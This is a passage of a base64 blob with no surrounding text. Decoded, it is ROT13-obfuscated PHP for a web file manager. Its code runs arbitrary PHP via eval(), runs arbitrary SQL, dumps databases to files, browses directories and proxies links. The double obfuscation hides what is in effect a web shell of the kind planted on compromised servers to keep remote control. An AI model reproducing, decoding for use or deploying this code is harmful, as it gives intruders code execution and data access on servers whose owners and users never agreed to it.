ckLyc7DQoJfQ0KCXZzKCFyemNnbCgkZ2xjcikgJiYgJGdsY3IgIT09ICdueXknKXsNCgkJJHNoYXAgPSAndmZfJyAuICRnbGNyOw0KCX0NCgl2cyhAdmZfcXZlKCRxdmVycGdiZWwpKXsNCgkJJHN1ID0gYmNyYXF2ZSgkcXZlcnBnYmVsKTsNCgkJanV2eXIgKHNueWZyICE9PSAoJHN2eXJhbnpyID0gZXJucXF2ZSgkc3UpKSkgew0KCQkJdnMoZmhvZmdlKCRzdnlyYW56ciwgMCwgMSkgIT0gJy4nIHx8ICRxYl9hYmdfc3Z5Z3JlKSB7DQoJCQkJdnMoKHJ6Y2dsKCRnbGNyKSB8fCAkZ2xjciA9PSAnbnl5JyB8fCAkc2hhcCgkcXZlcnBnYmVsIC4gJy8nIC4gJHN2eXJhbnpyKSkgJiYgKHJ6Y2dsKCRya2MpIHx8IGNlcnRfem5ncHUoJHJrYywgJHN2eXJhbnpyKSkpew0KCQkJCQkkcXZlW10gPSAkc3Z5cmFuenI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXB5YmZycXZlKCRzdSk7DQoJCWFuZ2ZiZWcoJHF2ZSk7DQoJfQ0KCWVyZ2hlYSAkcXZlOw0KfQ0KDQpzaGFwZ3ZiYSBzel95dmF4KCR0cmcsJHl2YXgsJGFuenIsJGd2Z3lyPScnKSB7DQoJdnMgKHJ6Y2dsKCRndmd5cikpICRndmd5cj0kYW56ci4nICcub25mcmFuenIoJHl2YXgpOw0KCWVyZ2hlYSAnJmFvZmM7JmFvZmM7PG4gdWVycz0iPycuJHRyZy4nPScub25mcjY0X3JhcGJxcigkeXZheCkuJyIgZ3ZneXI9IicuJGd2Z3lyLiciPicuJGFuenIuJzwvbj4nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9uZWVfZ2JfYmNndmJhKCRuZWUsJGEsJGZyeT0nJyl7DQoJc2Jlcm5wdSgkbmVlIG5mICRpKXsNCgkJJG89JGlbJGFdOw0KCQkkZXJmLj0nPGJjZ3ZiYSBpbnlocj0iJy4kby4nIiAnLigkZnJ5ICYmICRmcnk9PSRvPydmcnlycGdycSc6JycpLic+Jy4kby4nPC9iY2d2YmE+JzsNCgl9DQoJZXJnaGVhICRlcmY7DQp9DQoNCnNoYXBndmJhIHN6X3luYXRfc2JleiAoJHBoZWVyYWc9J3JhJyl7DQplcmdoZWEgJw0KPHNiZXogYW56cj0icHVuYXRyX3luYXQiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPg0KCTxmcnlycGcgYW56cj0ic3pfeW5hdCIgZ3ZneXI9IicuX18oJ1luYXRobnRyJykuJyIgYmFwdW5hdHI9InFicGh6cmFnLnNiZXpmW1wncHVuYXRyX3luYXRcJ10uZmhvenZnKCkiID4NCgkJPGJjZ3ZiYSBpbnlocj0icmEiICcuKCRwaGVlcmFnPT0ncmEnPydmcnlycGdycT0iZnJ5cnBncnEiICc6JycpLic+Jy5fXygnUmF0eXZmdScpLic8L2JjZ3ZiYT4NCgkJPGJjZ3ZiYSBpbnlocj0icXIiICcuKCRwaGVlcmFnPT0ncXInPydmcnlycGdycT0iZnJ5cnBncnEiICc6JycpLic+Jy5fXygnVHJlem5hJykuJzwvYmNndmJhPg0KCQk8YmNndmJhIGlueWhyPSJlaCIgJy4oJHBoZWVyYWc9PSdlaCc/J2ZyeXJwZ3JxPSJmcnlycGdycSIgJzonJykuJz4nLl9fKCdFaGZmdm5hJykuJzwvYmNndmJhPg0KCQk8YmNndmJhIGlueWhyPSJzZSIgJy4oJHBoZWVyYWc9PSdzZSc/J2ZyeXJwZ3JxPSJmcnlycGdycSIgJzonJykuJz4nLl9fKCdTZXJhcHUnKS4nPC9iY2d2YmE+DQoJCTxiY2d2YmEgaW55aHI9Imh4IiAnLigkcGhlZXJhZz09J2h4Jz8nZnJ5cnBncnE9ImZyeXJwZ3JxIiAnOicnKS4nPicuX18oJ0h4ZW52YXZuYScpLic8L2JjZ3ZiYT4NCgk8L2ZyeXJwZz4NCjwvc2Jlej4NCic7DQp9DQoJDQpzaGFwZ3ZiYSBzel9lYmJnKCRxdmVhbnpyKXsNCgllcmdoZWEgKCRxdmVhbnpyPT0nLicgQkUgJHF2ZWFuenI9PScuLicpOw0KfQ0KDQpzaGFwZ3ZiYSBzel9jdWMoJGZnZXZhdCl7DQoJJHF2ZmN5bmxfcmVlYmVmPXZhdl90cmcoJ3F2ZmN5bmxfcmVlYmVmJyk7DQoJdmF2X2ZyZygncXZmY3lubF9yZWViZWYnLCAnMScpOw0KCWJvX2ZnbmVnKCk7DQoJcmlueShnZXZ6KCRmZ2V2YXQpKTsNCgkkZ3JrZyA9IGJvX3RyZ19wYmFncmFnZigpOw0KCWJvX3JhcV9weXJuYSgpOw0KCXZhdl9mcmcoJ3F2ZmN5bmxfcmVlYmVmJywgJHF2ZmN5bmxfcmVlYmVmKTsNCgllcmdoZWEgJGdya2c7DQp9DQoNCi8vRlVCSiBRTkdOT05GUkYNCnNoYXBndmJhIHN6X2ZkeV9wYmFhcnBnKCl7DQoJdHlib255ICRzel9wYmFzdnQ7DQoJZXJnaGVhIGFyaiB6bGZkeXYoJHN6X3BiYXN2dFsnZmR5X2ZyZWlyZSddLCAkc3pfcGJhc3Z0WydmZHlfaGZyZWFuenInXSwgJHN6X3BiYXN2dFsnZmR5X2NuZmZqYmVxJ10sICRzel9wYmFzdnRbJ2ZkeV9xbyddKTsNCn0NCg0Kc2hhcGd2YmEgc3pfZmR5KCRkaHJlbCl7DQoJdHlib255ICRzel9wYmFzdnQ7DQoJJGRocmVsPWdldnooJGRocmVsKTsNCglib19mZ25lZygpOw0KCSRwYmFhcnBndmJhID0gc3pfZmR5X3BiYWFycGcoKTsNCgl2cyAoJHBiYWFycGd2YmEtPnBiYWFycGdfcmVlYmUpIHsNCgkJYm9fcmFxX3B5cm5hKCk7CQ0KCQllcmdoZWEgJHBiYWFycGd2YmEtPnBiYWFycGdfcmVlYmU7DQoJfQ0KCSRwYmFhcnBndmJhLT5mcmdfcHVuZWZyZygnaGdzOCcpOw0KICAgICRkaHJldnJxID0gemxmZHl2X2RocmVsKCRwYmFhcnBndmJhLCRkaHJlbCk7DQoJdnMgKCRkaHJldnJxPT09c255ZnIpIHsNCgkJYm9fcmFxX3B5cm5hKCk7CQ0KCQllcmdoZWEgemxmZHl2X3JlZWJlKCRwYmFhcnBndmJhKTsNCiAgICB9IHJ5ZnIgew0KCQl2cyghcnpjZ2woJGRocmV2cnEpKXsNCgkJCWp1dnlyKCRlYmogPSB6bGZkeXZfc3JncHVfbmZmYnAoJGRocmV2cnEpKSB7DQoJCQkJJGRocmVsX2VyZmh5Z1tdPSAgJGViajsNCgkJCX0NCgkJfQ0KCQkkaXFoemM9cnpjZ2woJGRocmVsX2VyZmh5Zyk/Jyc6aW5lX3JrY2JlZygkZGhyZWxfZXJmaHlnLGdlaHIpOwkNCgkJYm9fcmFxX3B5cm5hKCk7CQ0KCQkkcGJhYXJwZ3ZiYS0+cHliZnIoKTsNCgkJZXJnaGVhICc8Y2VyPicuZmdldmNmeW5mdXJmKCRpcWh6YykuJzwvY2VyPic7DQoJfQ0KfQ0KDQpzaGFwZ3ZiYSBzel9vbnB4aGNfZ25veXJmKCRnbm95cmYgPSAnKicsICRzaHl5X29ucHhoYyA9IGdlaHIpIHsNCgl0eWJvbnkgJGNuZ3U7DQoJJHpsZmR5cW8gPSBzel9mZHlfcGJhYXJwZygpOw0KCSRxcnl2enZncmUgPSAiOyBcYSAgXGEiOw0KCXZzKCRnbm95cmYgPT0gJyonKQl7DQoJCSRnbm95cmYgPSBuZWVubCgpOw0KCQkkZXJmaHlnID0gJHpsZmR5cW8tPmRocmVsKCdGVUJKIEdOT1lSRicpOw0KCQlqdXZ5cigkZWJqID0gemxmZHl2X3NyZ3B1X2ViaigkZXJmaHlnKSkJew0KCQkJJGdub3lyZltdID0gJGVialswXTsNCgkJfQ0KCX0gcnlmciB7DQoJCSRnbm95cmYgPSB2Zl9uZWVubCgkZ25veXJmKSA/ICRnbm95cmYgOiBya2N5YnFyKCcsJywkZ25veXJmKTsNCgl9DQogICAgDQoJJGVyZ2hlYT0nJzsNCglzYmVybnB1KCRnbm95cmYgbmYgJGdub3lyKQl7DQoJCSRlcmZoeWcgPSAkemxmZHlxby0+ZGhyZWwoJ0ZSWVJQRyAqIFNFQlogJy4kZ25veXIpOw0KCQkkYWh6X3N2cnlxZiA9IHpsZmR5dl9haHpfc3ZyeXFmKCRlcmZoeWcpOw0KCQkkZXJnaGVhLj0gJ1FFQkMgR05PWVIgVlMgUktWRkdGIGAnLiRnbm95ci4nYCcuJHFyeXZ6dmdyZTsNCgkJJGViajIgPSB6bGZkeXZfc3JncHVfZWJqKCR6bGZkeXFvLT5kaHJlbCgnRlVCSiBQRVJOR1IgR05PWVIgJy4kZ25veXIpKTsNCgkJJGVyZ2hlYS49JGViajJbMV0uJHFyeXZ6dmdyZTsNCiAgICAgICAgdnMgKCRzaHl5X29ucHhoYykgew0KCQlzYmUgKCR2ID0gMDsgJHYgPCAkYWh6X3N2cnlxZjsgJHYrKykgIHsNCgkJCWp1dnlyKCRlYmogPSB6bGZkeXZfc3JncHVfZWJqKCRlcmZoeWcpKSB7DQoJCQkJJGVyZ2hlYS49ICdWQUZSRUcgVkFHQiBgJy4kZ25veXIuJ2AgSU5ZSFJGKCc7DQoJCQkJc2JlKCR3PTA7ICR3PCRhaHpfc3ZyeXFmOyAkdysrKQl7DQoJCQkJCSRlYmpbJHddID0gbnFxZnluZnVyZigkZWJqWyR3XSk7DQoJCQkJCSRlYmpbJHddID0gZmdlX2VyY3lucHIoIlxhIiwiXFxhIiwkZWJqWyR3XSk7DQoJCQkJCXZzICh2ZmZyZygkZWJqWyR3XSkpIHsgJGVyZ2hlYS49ICciJy4kZWJqWyR3XS4nIicgOyB9IHJ5ZnIgeyAkZXJnaGVhLj0gJyIiJzsgfQ0KCQkJCQl2cyAoJHc8KCRhaHpfc3ZyeXFmLTEpKSB7ICRlcmdoZWEuPSAnLCc7IH0NCgkJCQl9DQoJCQkJJGVyZ2hlYS49ICcpJy4kcXJ5dnp2Z3JlOw0KCQkJfQ0KCQkgIH0NCgkJfSByeWZyIHsgDQoJCSRlcmdoZWEgPSBjZXJ0X2VyY3lucHIoIiNOSEdCX1ZBUEVSWlJBRz1bXHFdKyAjdmYiLCAnJywgJGVyZ2hlYSk7DQoJCX0NCgkJJGVyZ2hlYS49IlxhXGFcYSI7DQoJfQ0KDQoJLy9mbmlyIHN2eXINCiAgICAkc3Z5cj10enFuZ3IoIkwtei1xX1Utdi1mIixndnpyKCkpLicuZmR5JzsNCgkkdW5hcXlyID0gc2JjcmEoJHN2eXIsJ2orJyk7DQoJc2pldmdyKCR1bmFxeXIsJGVyZ2hlYSk7DQoJc3B5YmZyKCR1bmFxeXIpOw0KCSRueXJlZyA9ICdiYVB5dnB4PSJ2cyhwYmFzdmV6KFwnJy4gX18oJ1N2eXIgZnJ5cnBncnEnKS4nOiBcYScuICRzdnlyLiAnLiBcYScuX18oJ05lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBzdnlyPycpIC4gJ1wnKSkgcWJwaHpyYWcueWJwbmd2YmEudWVycyA9IFwnP3FyeXJncj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1ICAuICdcJyInOw0KICAgIGVyZ2hlYSAkc3Z5ci4nOiAnLnN6X3l2YXgoJ3FiamF5Ym5xJywkY25ndS4kc3Z5cixfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuJHN2eXIpLicgPG4gdWVycz0iIyIgZ3ZneXI9IicgLiBfXygnUXJ5cmdyJykgLiAnICcuICRzdnlyIC4gJyIgJyAuICRueXJlZyAuICc+JyAuIF9fKCdRcnlyZ3InKSAuICc8L24+JzsNCn0NCg0Kc2hhcGd2YmEgc3pfZXJmZ2Jlcl9nbm95cmYoJGZkeVN2eXJHYlJrcnBoZ3IpIHsNCgkkemxmZHlxbyA9IHN6X2ZkeV9wYmFhcnBnKCk7DQoJJHFyeXZ6dmdyZSA9ICI7IFxhICBcYSI7DQogICAgLy8gWWJucSBuYXEgcmtjeWJxciBndXIgZmR5IHN2eXINCiAgICAkcyA9IHNiY3JhKCRmZHlTdnlyR2JSa3JwaGdyLCJlKyIpOw0KICAgICRmZHlTdnlyID0gc2VybnEoJHMsc3Z5cmZ2bXIoJGZkeVN2eXJHYlJrcnBoZ3IpKTsNCiAgICAkZmR5TmVlbmwgPSBya2N5YnFyKCRxcnl2enZncmUsJGZkeVN2eXIpOw0KCQ0KICAgIC8vQ2VicHJmZiBndXIgZmR5IHN2eXIgb2wgZmduZ3J6cmFnZg0KICAgIHNiZXJucHUgKCRmZHlOZWVubCBuZiAkZmd6Zykgew0KICAgICAgICB2cyAoZmdleXJhKCRmZ3pnKT4zKXsNCgkJCSRlcmZoeWcgPSAkemxmZHlxby0+ZGhyZWwoJGZnemcpOw0KCQkJCXZzICghJGVyZmh5Zyl7DQoJCQkJCSRmZHlSZWViZVBicXIgPSB6bGZkeXZfcmVlYWIoJHpsZmR5cW8tPnBiYWFycGd2YmEpOw0KCQkJCQkkZmR5UmVlYmVHcmtnID0gemxmZHl2X3JlZWJlKCR6bGZkeXFvLT5wYmFhcnBndmJhKTsNCgkJCQkJJGZkeUZnemcgICAgICA9ICRmZ3pnOw0KCQkJCQlvZXJueDsNCiAgICAgICAgICAgCSAgICAgfQ0KICAgICAgICAgICAJICB9DQogICAgICAgICAgIH0NCnZzIChyemNnbCgkZmR5UmVlYmVQYnFyKSkgZXJnaGVhIF9fKCdGaHBwcmZmJykuJyDigJQgJy4kZmR5U3Z5ckdiUmtycGhncjsNCnJ5ZnIgZXJnaGVhICRmZHlSZWViZUdya2cuJzxvZS8+Jy4kZmd6ZzsNCn0NCg0Kc2hhcGd2YmEgc3pfdnp0X3l2YXgoJHN2eXJhbnpyKXsNCgllcmdoZWEgJy4vJy5vbmZyYW56cihfX1NWWVJfXykuJz92enQ9Jy5vbmZyNjRfcmFwYnFyKCRzdnlyYW56cik7DQp9DQoNCnNoYXBndmJhIHN6X3VienJfZmdseXIoKXsNCgllcmdoZWEgJw0KdmFjaGcsIHZhY2hnLnN6X3ZhY2hnIHsNCglncmtnLXZhcXJhZzogMmNrOw0KfQ0KDQp2YWNoZywgZ3JrZ25lcm4sIGZyeXJwZywgdmFjaGcuc3pfdmFjaGcgew0KCXBieWJlOiBveW5weDsNCglzYmFnOiBhYmV6bnkgOGNnIElyZXFuYW4sIE5ldm55LCBVcnlpcmd2cG4sIGZuYWYtZnJldnM7DQoJb2JlcXJlLXBieWJlOiBveW5weDsNCglvbnB4dGViaGFxLXBieWJlOiAjU1BTUFNQIGFiYXIgIXZ6Y2JlZ25hZzsNCglvYmVxcmUtZW5xdmhmOiAwOw0KCWNucXF2YXQ6IDJjazsNCn0NCg0KdmFjaGcuc3pfdmFjaGcgew0KCW9ucHh0ZWJoYXE6ICNTUFNQU1AgYWJhciAhdnpjYmVnbmFnOw0KCXBoZWZiZTogY2J2YWdyZTsNCn0NCg0KLnVienIgew0KCW9ucHh0ZWJoYXEtdnpudHI6IGhleSgicW5nbjp2em50ci9jYXQ7b25mcjY0LHZJT0JFajBYVHRiTk5OTkFGSHVSSHROTk5PTk5OTk5EUE5aTk5OTmJZRDlHTk5OTk9UcU9HSFJOTlgvVkFqSlg2RE5OTnRFREdTRVMvczM5NkJ3Yi8vLy9nRzAybWUrc2o2NkVndzQzMkdSYzNaS1IyUU5lM0dMYzFsNHpnUWoyLzdPWi83T0JkSWNwLzh5MzF3cGRkNnJhanBVTzJHdHY1d3RkSWNvU2llbjJhT05JL0NtODJGMHdhazBKM0dIeGRGdHY0clV1NEdmZXI0amJmbTAyNmhDd21UTHE2SGYzbGFObHFIT041WHkzc3o1cmRNbko3QlF0djJJdCtDdzRoTCtSall6NW9MOUgvLzd3c1lnUCtnQlgzd3B6LzcxaDJ3TGIxSEx1NW5XeS9mclAzd1J6MTJ4eldlVk4xd1p6LzluSDRZdTByMDFPeVZuUi8vL3F1WnFQN1ZOLy9zR00ycDNaSjZhQTMwanM5NUlxNFdxS2JLSWJmOGFSNHJzQS8rNjNWV3RGYUx1eTdTNHBmS2c4OVRESGpZKy93eTFwNDFOZCtzbzJ0emdWMWVYbjJQNHhXblZOM3dMZXlHajVndzQyM3dMYTNwS1IxbURia1pVT2MxeU0zUXR6ZHZ4Zi8renB3WVg4M3dMeGx6WkkzR0x4Ly9VWitoN0p1emdlMGJxR2NuQndzSldzZVVjdC84T2YvN2dKLzdJcis0SDUyUVp6M1pZT2E0ZFl0QUlaNlptTzN5UnN5VmhZLyt3Ti8vLzIwWUJtd0trOC83eW9KY1dUMlA4eDNHYmZXWFpOMWxqd2JjQkUxbUxjNVFmY3ZubCtsWEF1ZFhGeDhBSjYvc3dhZjdCbTJnYU1obTg4N28rSjNuRUwvK3pmNGVQUjNHYmc3STg1b1hrd2hSTjNqNDVJdTVodWQ2bno0cFNrdE1NSi85ZFZoanRYbDBmSitod0c0R0RhZ200MjNQOHYzbUh3LytYai9uNXE2SFpraFk2am1RUmUvLy8vcGRXRHNOTk5OWGswSHg1Ry8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL05OSklTb1JOTk5OTXFSSUxxU0FpTWFFM0xLV3lOUlN4bzJXeVZSeWdMSnF5SHpJdU1VeWtsSkg4Tk5OTjJIeVJESURiSDJBTHdETExmTnZSOEg5TG1RTHdJY1RNRWtadlJQdmdaZUlNaWJaZUd5RDJSRkVEVzJTSWp2YUxvemRHSFliYnVhUjF0MW5YVEYvc0FaZ3g0MGxNOVhJWUR1dEx4aEw3QWtEaUtsVUlTQWFYbUU2OWRja09DWnJtMFJHTkRsR0hpRmJ0blZTbkNwQWRJL1o1cXVuMkV5Mkd2em82TStET1FMMUtBL0ZvaDhrU1lUM3JZUXN5MkhOT3d2eUIxYjAxMk0zcngxeU1JVkpOTnpIR1g2WTBmM2NLK3d3NmNoTTJOakpIaU9FbmN1ZmpacUhod1B2alFqbjVJUnFDVjdsYUh5cDdpMWRMSEVZZGhzNDJ1bTQ1UE9DUWdqTlBleitFUXBrV0xOTk5OTk9XRUg1UmV4V3R0dD09Iik7DQoJb25weHRlYmhhcS1lcmNybmc6IGFiLWVyY3JuZzsNCn0nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9wYmFzdnRfcHVycHhvYmtfZWJqKCRhbnpyLCRpbnlocikgew0KCXR5Ym9ueSAkc3pfcGJhc3Z0Ow0KCWVyZ2hlYSAnPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIHZxPSJzel9wYmFzdnRfJy4kaW55aHIuJyIgYW56cj0ic3pfcGJhc3Z0WycuJGlueWhyLiddIiBpbnlocj0iMSIgJy4ocnpjZ2woJHN6X3BiYXN2dFskaW55aHJdKT8nJzoncHVycHhycT0iZ2VociInKS4nIGdsY3I9InB1cnB4b2JrIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+PHlub3J5IHNiZT0ic3pfcGJhc3Z0XycuJGlueWhyLiciPicuJGFuenIuJzwvZ3E+PC9nZT4nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9jZWJnYnBieSgpIHsNCgl2cyAodmZmcmcoJF9GUkVJUkVbJ1VHR0NfRlBVUlpSJ10pKSBlcmdoZWEgJF9GUkVJUkVbJ1VHR0NfRlBVUlpSJ10uJzovLyc7DQoJdnMgKHZmZnJnKCRfRlJFSVJFWydVR0dDRiddKSAmJiAkX0ZSRUlSRVsnVUdHQ0YnXSA9PSAnYmEnKSBlcmdoZWEgJ3VnZ2NmOi8vJzsNCgl2cyAodmZmcmcoJF9GUkVJUkVbJ0ZSRUlSRV9DQkVHJ10pICYmICRfRlJFSVJFWydGUkVJUkVfQ0JFRyddID09IDQ0MykgZXJnaGVhICd1Z2djZjovLyc7DQoJdnMgKHZmZnJnKCRfRlJFSVJFWydVR0dDX0tfU0JFSk5FUVJRX0NFQkdCJ10pICYmICRfRlJFSVJFWydVR0dDX0tfU0JFSk5FUVJRX0NFQkdCJ10gPT0gJ3VnZ2NmJykgZXJnaGVhICd1Z2djZjovLyc7DQoJZXJnaGVhICd1Z2djOi8vJzsNCn0NCg0Kc2hhcGd2YmEgc3pfZnZncl9oZXkoKSB7DQoJZXJnaGVhIHN6X2NlYmdicGJ5KCkuJF9GUkVJUkVbJ1VHR0NfVUJGRyddOw0KfQ0KDQpzaGFwZ3ZiYSBzel9oZXkoJHNoeXk9c255ZnIpIHsNCgkkdWJmZz0kc2h5eT9zel9mdmdyX2hleSgpOicuJzsNCgllcmdoZWEgJHViZmcuJy8nLm9uZnJhbnpyKF9fU1ZZUl9fKTsNCn0NCg0Kc2hhcGd2YmEgc3pfdWJ6cigkc2h5eT1zbnlmcil7DQoJZXJnaGVhICcmYW9mYzs8biB1ZXJzPSInLnN6X2hleSgkc2h5eSkuJyIgZ3ZneXI9IicuX18oJ1VienInKS4nIj48ZmNuYSBweW5mZj0idWJ6ciI+JmFvZmM7JmFvZmM7JmFvZmM7JmFvZmM7PC9mY25hPjwvbj4nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9laGFfdmFjaGcoJHlhdCkgew0KCXR5Ym9ueSAkc3pfcGJhc3Z0Ow0KCSRlcmdoZWEgPSAhcnpjZ2woJHN6X3BiYXN2dFsncmFub3lyXycuJHlhdC4nX3BiYWZieXInXSkgPyANCgknDQoJCQkJPHNiZXogIHpyZ3VicT0iY2JmZyIgbnBndmJhPSInLnN6X2hleSgpLiciIGZnbHlyPSJxdmZjeW5sOnZheXZhciI+DQoJCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0iJy4keWF0LidlaGEiIGlueWhyPSInLmZnZWdiaGNjcmUoJHlhdCkuJyAnLl9fKCdQYmFmYnlyJykuJyI+DQoJCQkJPC9zYmV6Pg0KJyA6ICcnOw0KCWVyZ2hlYSAkZXJnaGVhOw0KfQ0KDQpzaGFwZ3ZiYSBzel9oZXlfY2Via2woJHpuZ3B1cmYpIHsNCgkkeXZheCA9IGZnZV9lcmN5bnByKCcmbnpjOycsJyYnLCR6bmdwdXJmWzJdKTsNCgkkaGV5ID0gdmZmcmcoJF9UUkdbJ2hleSddKT8kX1RSR1snaGV5J106Jyc7DQoJJGNuZWZyX2hleSA9IGNuZWZyX2hleSgkaGV5KTsNCgkkdWJmZyA9ICRjbmVmcl9oZXlbJ2ZwdXJ6ciddLic6Ly8nLiRjbmVmcl9oZXlbJ3ViZmcnXS4nLyc7DQoJdnMgKGZob2ZnZSgkeXZheCwwLDIpPT0nLy8nKSB7DQoJCSR5dmF4ID0gZmhvZmdlX2VyY3lucHIoJHl2YXgsc3pfY2ViZ2JwYnkoKSwwLDIpOw0KCX0gcnlmcnZzIChmaG9mZ2UoJHl2YXgsMCwxKT09Jy8nKSB7DQoJCSR5dmF4ID0gZmhvZmdlX2VyY3lucHIoJHl2YXgsJHViZmcsMCwxKTsJDQoJfSByeWZydnMgKGZob2ZnZSgkeXZheCwwLDIpPT0nLi8nKSB7DQoJCSR5dmF4ID0gZmhvZmdlX2VyY3lucHIoJHl2YXgsJHViZmcsMCwyKTsJDQoJfSByeWZydnMgKGZob2ZnZSgkeXZheCwwLDQpPT0ndWdnYycpIHsNCgkJLy9ueXlyZiB6bnB1cmEgamhhcXJlZnB1YmENCgl9IHJ5ZnIgew0KCQkkeXZheCA9ICR1YmZnLiR5dmF4Ow0KCX0gDQoJdnMgKCR6bmdwdXJmWzFdPT0ndWVycycgJiYgIWZnZWV2Y2JmKCR5dmF4LCAncGZmJykpIHsNCgkJJG9uZnIgPSBzel9mdmdyX2hleSgpLicvJy5vbmZyYW56cihfX1NWWVJfXyk7DQoJCSRvbmZyZCA9ICRvbmZyLic/Y2Via2w9Z2VociZoZXk9JzsNCgkJJHl2YXggPSAkb25mcmQuaGV5cmFwYnFyKCR5dmF4KTsNCgl9IHJ5ZnJ2cyAoZmdlZXZjYmYoJHl2YXgsICdwZmYnKSl7DQoJCS8v0LrQsNC6LdGC0L4g0YLQvtC20LUg0L/QvtC00LzQtdC90Y/RgtGMINC90LDQtNC+DQoJfQ0KCWVyZ2hlYSAkem5ncHVyZlsxXS4nPSInLiR5dmF4LiciJzsNCn0NCiANCnNoYXBndmJhIHN6X2djeV9zYmV6KCR5YXRfZ2N5KSB7DQoJdHlib255ICR7JHlhdF9nY3kuJ19ncnpjeW5ncmYnfTsNCgkkZ2N5X25lZSA9IHdmYmFfcXJwYnFyKCR7JHlhdF9nY3kuJ19ncnpjeW5ncmYnfSxnZWhyKTsNCgkkZmdlID0gJyc7DQoJc2Jlcm5wdSAoJGdjeV9uZWUgbmYgJHhnY3k9PiRpZ2N5KSB7DQoJCSRmZ2UgLj0gJzxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSInLiR5YXRfZ2N5LidfYW56cltdIiBpbnlocj0iJy4keGdjeS4nIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+PGdya2duZXJuIGFuenI9IicuJHlhdF9nY3kuJ19pbnlocltdIiAgcGJ5Zj0iNTUiIGViamY9IjUiIHB5bmZmPSJncmtnbmVybl92YWNoZyI+Jy4kaWdjeS4nPC9ncmtnbmVybj4gPHZhY2hnIGFuenI9InFyeV8nLmVuYXEoKS4nIiBnbGNyPSJvaGdnYmEiIGJhUHl2cHg9Imd1dmYuY25lcmFnQWJxci5jbmVyYWdBYnFyLmVyemJpcigpOyIgaW55aHI9IicuX18oJ1FyeXJncicpLiciLz48L2dxPjwvZ2U+JzsNCgl9DQplcmdoZWEgJw0KPGdub3lyPg0KPGdlPjxndSBwYnlmY25hPSIyIj4nLmZnZWdiaGNjcmUoJHlhdF9nY3kpLicgJy5fXygnZ3J6Y3luZ3JmJykuJyAnLnN6X2VoYV92YWNoZygkeWF0X2djeSkuJzwvZ3U+PC9nZT4NCjxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPg0KPHZhY2hnIGdsY3I9InV2cXFyYSIgaW55aHI9IicuJHlhdF9nY3kuJyIgYW56cj0iZ2N5X3JxdmdycSI+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj4nLl9fKCdBbnpyJykuJzwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj4nLl9fKCdJbnlocicpLic8L2dxPjwvZ2U+DQonLiRmZ2UuJw0KPGdlPjxncSBwYnlmY25hPSIyIiBweW5mZj0iZWJqMyI+PHZhY2hnIGFuenI9ImVyZiIgZ2xjcj0ib2hnZ2JhIiBiYVB5dnB4PSJxYnBoenJhZy55YnBuZ3ZiYS51ZXJzID0gXCcnLnN6X2hleSgpLic/c3pfZnJnZ3ZhdGY9Z2VoclwnOyIgaW55aHI9IicuX18oJ0VyZnJnJykuJyIvPiA8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnRm5pcicpLiciID48L2dxPjwvZ2U+DQo8L3NiZXo+DQo8c2JleiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iIj4NCjx2YWNoZyBnbGNyPSJ1dnFxcmEiIGlueWhyPSInLiR5YXRfZ2N5LiciIGFuenI9ImdjeV9ycXZncnEiPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9IicuJHlhdF9nY3kuJ19hcmpfYW56ciIgaW55aHI9IiIgY3lucHJ1YnlxcmU9IicuX18oJ0FyaicpLicgJy5fXygnQW56cicpLiciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj48Z3JrZ25lcm4gYW56cj0iJy4keWF0X2djeS4nX2Fyal9pbnlociIgIHBieWY9IjU1IiBlYmpmPSI1IiBweW5mZj0iZ3JrZ25lcm5fdmFjaGciIGN5bnBydWJ5cXJlPSInLl9fKCdBcmonKS4nICcuX18oJ0lueWhyJykuJyI+PC9ncmtnbmVybj48L2dxPjwvZ2U+DQo8Z2U+PGdxIHBieWZjbmE9IjIiIHB5bmZmPSJlYmozIj48dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnTnFxJykuJyIgPjwvZ3E+PC9nZT4NCjwvc2Jlej4NCjwvZ25veXI+DQonOw0KfQ0KDQpzaGFwZ3ZiYSBzdmFxX2dya2dfdmFfc3Z5cmYoJHF2ZSwgJHpuZngsICRncmtnKSB7DQogICAgJGVyZmh5Z2YgPSBuZWVubCgpOw0KICAgIHZzICgkdW5hcXlyID0gYmNyYXF2ZSgkcXZlKSkgew0KICAgICAgICBqdXZ5ciAoc255ZnIgIT09ICgkcmFnZWwgPSBlcm5xcXZlKCR1bmFxeXIpKSkgew0KICAgICAgICAgICAgdnMgKCRyYWdlbCAhPSAiLiIgJiYgJHJhZ2VsICE9ICIuLiIpIHsNCiAgICAgICAgICAgICAgICAkY25ndSA9ICRxdmUgLiAiLyIgLiAkcmFnZWw7DQogICAgICAgICAgICAgICAgdnMgKHZmX3F2ZSgkY25ndSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGVyZmh5Z2YgPSBu